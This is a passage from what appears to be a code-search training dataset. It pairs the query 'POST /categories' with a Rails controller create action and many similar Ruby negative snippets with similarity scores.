"0.56336945",
"0.56336945"
] | 0.0 | -1 |
GET /categories GET /categories.json | def index
get_paginated_categories
respond_to do |format|
format.html
format.js
format.xls
if(params[:a] == "a")
format.csv { send_data Category.all.to_csv2 }
else
format.csv { send_data Category.all.to_csv }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend",
"def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end",
"def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end",
"def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend",
"def categories\n get('venues/categories').categories\n end",
"def index\n categories = Category.all\n render json:categories\n end",
"def get_categories()\n\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\tif response.success?\n\t\t\t@categories = response.parsed_response\n\t\telse\n\t\t\traise response.response\n\t\tend\n\t\treturn @categories\n\tend",
"def getCategoryAll()\n params = Hash.new\n return doCurl(\"get\",\"/category/all\",params)\n end",
"def get_categories_list\n args = receive_should_validate?\n get('redtube.Categories.getCategoriesList', {}, [], args[:should_validate])\n end",
"def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end",
"def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end",
"def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end",
"def GetCategory id\n\n APICall(path: \"categories/#{id}.json\")\n\n end",
"def index\n\t @categories = Category.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @categories }\n\t end\n\tend",
"def index\n\n\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end",
"def get_categories\n @categories = Category.all\n end",
"def index\n @categories = Category.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end",
"def categories options = {}\n perform_get_with_object(\"/categories\", options, Vimeo::Entities::Category)\n end",
"def index\n @categories = Category.all\n @categories= @categories.sort_by(&:name)\n render json: @categories\n end",
"def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend",
"def categories\n parsed_json['data']\n end",
"def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end",
"def categories(params={})\n return @categories if (@categories && !params[:force])\n @categories = get_categories\n end",
"def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end",
"def index\n respond_to do |format|\n format.html { @categories = Category.all }\n format.json { @categories = Category.order(:name) }\n end\n end",
"def get_categories(query_obj=nil)\n uri = URI.parse(@uri + \"/Categories\")\n results = get(uri,query_obj)\n end",
"def getCategories(_, _, _)\n @db.categories\n end",
"def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end",
"def all(params = {})\n handle_all_request(\"/categories\", :categories, params)\n end",
"def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.get_categories ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_search'] = opts[:'filter_search'] if !opts[:'filter_search'].nil?\n query_params[:'filter_active'] = opts[:'filter_active'] if !opts[:'filter_active'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceCategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_categories(add_params = nil)\n params = {\n }\n api_call('/global/categories(.:format)',:get,params,add_params)\n end",
"def categories(args={})\n res = api_request('private.request.getCategories', 'GET')\n res = JSON.parse(res)['category'] rescue []\n\n unless args[:include_deleted] and args[:include_deleted] == true\n res.reject!{|k, v| v['fDeleted'] == '1'} rescue []\n end\n \n return res\n end",
"def show\n render json: category\n end",
"def index\n @incidentcategories = Incidentcategory.all\n json_response(@incidentcategories)\n end",
"def get_category\n json_response({ message: 'NOT IMPLEMENTED' })\n end",
"def index\n respond_with Category.all\n end",
"def index\n @categories = Category.all\n render :json => @categories, :except => [:created_at, :updated_at]\n end",
"def index\n @categories = CategoryService.index\n end",
"def show\n render json: @category\n end",
"def get_categories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CategoriesApi.get_categories ...'\n end\n # resource path\n local_var_path = '/categories'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Category>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#get_categories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def categories(make, year)\n make_id = get_object_id make\n response = get_url \"Categories/#{make_id}/#{year}\"\n response_obj = JSON.parse response\n response_obj[\"GetCategoriesResult\"].map{|r| Models::Category.from_response_hash(r)}\n end",
"def getCategories\n @categories = []\n @categories << Category.new(name: \"All\", id: -1)\n @categories += Category.all\n end",
"def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end",
"def categories\n add_to_query restrict_kind: 'category'\n end",
"def categories\n @categories = response[\"categories\"] || []\n @categories.map!{|category| Foursquared::Response::Category.new(client, category)}\n end",
"def categories\n response[\"categories\"].map!{|category| Foursquared::Response::Category.new(client, category)} if response[\"categories\"]\n end",
"def index\n @categories = Category.all\n respond_with(@categories)\n end",
"def get_category_list\n ret_hash = Rails.cache.fetch(\"zaim_api/category\", expired_in: 1.day) do\n json_categories = self.zaim_api.category\n tmp_ret_hash = {}\n json_categories['categories'].each do |value|\n tmp_ret_hash[value['id']] = value['name']\n end\n tmp_ret_hash\n end\n ret_hash\n end",
"def index\n @categories = Category.roots\n end",
"def get_categories(opts = {})\n data, _status_code, _headers = get_categories_with_http_info(opts)\n data\n end",
"def index\n @categories = Category.all\n end",
"def index\n\t\t@categories = Category.all\n\tend",
"def index\n @categories=Category.root\n respond_with @categories\n end",
"def getcategories\n category_size = RequirementCategory.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n \tif current_offset + direction < category_size && current_offset + direction >= 0\n offset = current_offset + direction\n \t@categories = RequirementCategory.all.offset(offset).take(10) \n \trender :json => @categories\n else\n \trender :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n\n\tend",
"def category\n client.categories.find(data[\"categoryId\"])\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def index\n @categories = Category.all\n end",
"def get_categories(opts = {})\n data, _status_code, _headers = get_categories_with_http_info(opts)\n return data\n end",
"def categories\n category\n end",
"def categories\n []\n end",
"def index\n\t@categories = Category.all\n\tend",
"def category\n # Whats the last category we are asking for? (the rest don't matter I don't think..)\n requested_category = params[:category].split(\"/\").last\n category = Taxonomy.find_by_seo_url requested_category\n\n if category.present?\n @category = category\n @posts = get_posts category.posts\n\n\n respond_to do |format|\n format.html { render :template => 'default/index' }\n format.json { render json: @posts }\n end\n else\n # No such category found, redirect to root index\n redirect_to root_path\n end\n end",
"def index\n render json: Category.order('name ASC').all\n end",
"def index\n @section_categories = SectionCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @section_categories }\n end\n end",
"def show\n render json: @categoria\n end",
"def index\n categories = Category.all\n\n if params[:limit]\n categories = categories.limit(params[:limit])\n end\n\n render json: CategorySerializer.new(categories).serializable_hash\n end",
"def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end",
"def index\n @categories = Category.all\n end",
"def get_categories(project_id_or_key)\n get(\"projects/#{project_id_or_key}/categories\")\n end",
"def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend",
"def index\n @categories = Category.paginate(:page => params[:page])\n @title = \"Категории\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end",
"def categories\n\t\t\t@cat_cache ||= @db.js('musicthoughts.all_categories()').map {|c| c.merge(category: c[@lang]) }\n\t\t\t@cat_cache\n\t\tend",
"def categories\n raw_categories.to_hashugar\n end",
"def event_categories(options = {})\n response = connection.get do |req|\n req.url \"events/categories\", options\n end\n return_error_or_body(response, response.body.response.categories)\n end",
"def index\n @service_categories = ServiceCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_categories }\n end\n end",
"def categories_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OtherApi.categories_list ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Category>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OtherApi#categories_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def categories\n # @categories = Category.get_categories(@user.id)\n #@categories =Category.all.select(:id).select(:name).select(:description).select(:logo_url)\n @categories =Category.all\n user_cat= @user.categories.collect(&:id)\n categories = []\n @categories.each do |cat|\n cat_attr = cat.attributes\n user_cat.include?(cat.id) ? cat_attr.merge!('user_category' => true) : cat_attr.merge!('user_category' => false)\n categories << cat_attr\n end\n @categories = categories\n\n respond_to do |format|\n if @categories.blank?\n format.json {render json:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.xml {render xml:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.html {render json: {:success => false, :status_code => 404, :message => \"No category found\"}}\n else\n format.html {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.json {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.xml {render xml: {:success => true, :status_code => 200, :categories => @categories}}\n end\n end\n end",
"def all\n render json: Cat.all\n end",
"def index\n @categories = Category.all\n \n respond_with do |format|\n format.html { render :index, :layout => false}\n end\n end"
] | [
"0.83901125",
"0.83281714",
"0.8320568",
"0.7809046",
"0.7742267",
"0.756787",
"0.75121796",
"0.74144626",
"0.73855793",
"0.7370643",
"0.73698753",
"0.73698753",
"0.7368008",
"0.73468053",
"0.7331163",
"0.73165005",
"0.7285874",
"0.7265682",
"0.72289234",
"0.72212476",
"0.7215909",
"0.7214474",
"0.71919775",
"0.71715236",
"0.7120322",
"0.70989287",
"0.7073965",
"0.70460904",
"0.7041976",
"0.7033317",
"0.7032342",
"0.7032112",
"0.70285296",
"0.70160055",
"0.6996062",
"0.6995244",
"0.69937277",
"0.6981837",
"0.6970396",
"0.69651705",
"0.69560206",
"0.68975455",
"0.6896314",
"0.6887376",
"0.68851507",
"0.6884396",
"0.6873476",
"0.6870513",
"0.68471074",
"0.6816782",
"0.6808883",
"0.68018585",
"0.67997426",
"0.6773821",
"0.67699295",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.67645353",
"0.6762371",
"0.6759068",
"0.6756343",
"0.6751987",
"0.6733417",
"0.6727108",
"0.67254245",
"0.67240286",
"0.6706333",
"0.6703589",
"0.6697385",
"0.6696429",
"0.66854167",
"0.66807526",
"0.6678795",
"0.66759086",
"0.66720545",
"0.6637343",
"0.66348493",
"0.66248167",
"0.6620517",
"0.6616366"
] | 0.0 | -1 |
POST /categories POST /categories.json | def create
init = params[:category][:name][0]
division = Division.find_by_name(params[:division_id].upcase)
category_number = Category.create_number(params)
@category = Category.new(category_params.merge(:code => (('%03d' % ((Category.last.code.to_i rescue 0)+1)))).merge(:division_id => division.id))
if @category.save
flash[:notice] = 'Category was successfully added'
redirect_to categories_path
else
flash[:error] = @category.errors.full_messages
render "new"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def CreateCategory params = {}\n \n APICall(path: 'categories.json',method: 'POST',payload: params.to_json)\n \n end",
"def create\n json_create(category_params, Category)\n end",
"def create_category payload\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.post CATEGORIES, payload )\n\t\t\t\tend",
"def create\n category = @current_user.categories.create!(category_params)\n render json: { category: category }\n end",
"def create\n if @category.save\n render json: @category, status: :created, location: @category\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"def create\n @category = Category.new(category_params)\n @category.save\n render json: { params: params, notice: 'Categoria registrada exitosamente' }\n end",
"def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end",
"def create\n @categoria = Categoria.new(categoria_params)\n if @categoria.save\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end",
"def create\n @category = current_user.categories.new(name: params[:name])\n if @category.save\n render \"create.json.jbuilder\", status: :created\n else\n render json: { errors: @category.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def categories\n\t\tbegin\n\t\t\t@categories = Category.select(:id, :name)\n\t\t\trender json: @categories\n\t\trescue Exception => e\n\t\t\terror_handling_bad_request(e)\n\t\tend\n\tend",
"def create\n @category = Category.new(category_params)\n authorize! :create, @category\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"def create\n @category = current_mall.categories.new(params[:category])\n\n if @category.save\n render json: @category, status: :created\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"def post_category(category_name, options={ })\n self.post('/categories.json',\n options.merge(\n :body => { :category => {\n :name => category_name\n } }.to_json\n )\n )['category']\n end",
"def create\n category = Category.create(category_params)\n\n \n if category\n render json:{\n status: :created,\n category: category}\n else\n render json: { status: 500 }\n end\n end",
"def user_category\n # byebug\n @user = User.where(contact: params[:contact]).first\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-data\", data: \"category saved\"}, status: :ok\n end",
"def create\n @category = Category.create(params[:category])\n respond_with(@category, location: categories_url)\n end",
"def addCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.new(name: params[:name])\n status = c.save\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend",
"def create\n category = Category.create!(category_params)\n render json: {\n :html => render_to_string(\n :partial => \"setups/category\",\n :layout => false,\n :locals => {:category => category})\n }\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html {\n redirect_to @category, notice: 'Category was successfully created.'\n }\n format.json {\n render json: @category, status: :created, location: @category\n }\n else\n format.html { render action: \"new\" }\n format.json {\n render json: @category.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def create\n @category = Category.new(params[:category]) \n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: t(:created_category_success)}\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to management_categories_path }\n format.json { render json: @category, status: :created }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categories_post = CategoriesPost.new(categories_post_params)\n\n respond_to do |format|\n if @categories_post.save\n format.html { redirect_to @categories_post, notice: 'Categories post was successfully created.' }\n format.json { render :show, status: :created, location: @categories_post }\n else\n format.html { render :new }\n format.json { render json: @categories_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n category = params[:category]\n category_name = category['name']\n \n write_log(\"category.to_s: #{category.to_s}\",\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n \n cats = []\n if category_name != nil\n cats = category_name.split(\" \")\n end\n \n write_log(\"cats.size: #{cats.size}\",\n __FILE__.split(\"/\")[-1],\n __LINE__.to_s)\n\n if cats.size > 1\n \n flag = true\n counter = 0\n \n cats.each do |cat|\n # @category = Category.new(params[:category])\n # @category = Category.new(name=cat)\n @category = Category.new({\"name\"=> cat, \"genre_id\"=> category['genre_id']})\n \n if @category.save\n else\n counter += 1\n end\n end#cats.each do |cat|\n \n respond_to do |format|\n format.html { redirect_to @category, \n notice: \"New categories: Created => #{cats.size - counter}, Failed => #{counter}\" }\n format.json { render json: @category, status: :created, location: @category }\n end\n \n else#if cats.size > 1\n @category = Category.new(params[:category])\n \n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end#if cats.size > 1\n \n \n # @category = Category.new(params[:category])\n# \n # respond_to do |format|\n # if @category.save\n # format.html { redirect_to @category, notice: 'Category was successfully created.' }\n # format.json { render json: @category, status: :created, location: @category }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @category = @collection.categories.new(category_params)\n\n if @category.save\n ActionCable.server.broadcast 'categories',\n title: @category.title,\n collection_id: @category.collection_id\n head :ok\n else\n\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to admin_dashboard_categories_path, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created!!' }\n format.json { render json: @category, status: :created, location: @category }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categ = Categ.new(categ_params)\n\n respond_to do |format|\n if @categ.save\n format.html { redirect_to @categ, notice: 'Categ was successfully created.' }\n format.json { render :show, status: :created, location: @categ }\n else\n format.html { render :new }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post_category = Post::Category.new(params[:post_category])\n\n respond_to do |format|\n if @post_category.save\n format.html { redirect_to @post_category, notice: 'Category was successfully created.' }\n format.json { render json: @post_category, status: :created, location: @post_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categoria = Categoria.new(params[:categoria])\n\n respond_to do |format|\n if @categoria.save\n format.html { redirect_to action: 'index', notice: 'Categoria was successfully created.' }\n format.json { render json: @categoria, status: :created, location: @categoria }\n else\n format.html { render action: \"new\" }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to Category.find(@category.category_id), notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = CategoryService.create\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Категория добавлена.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
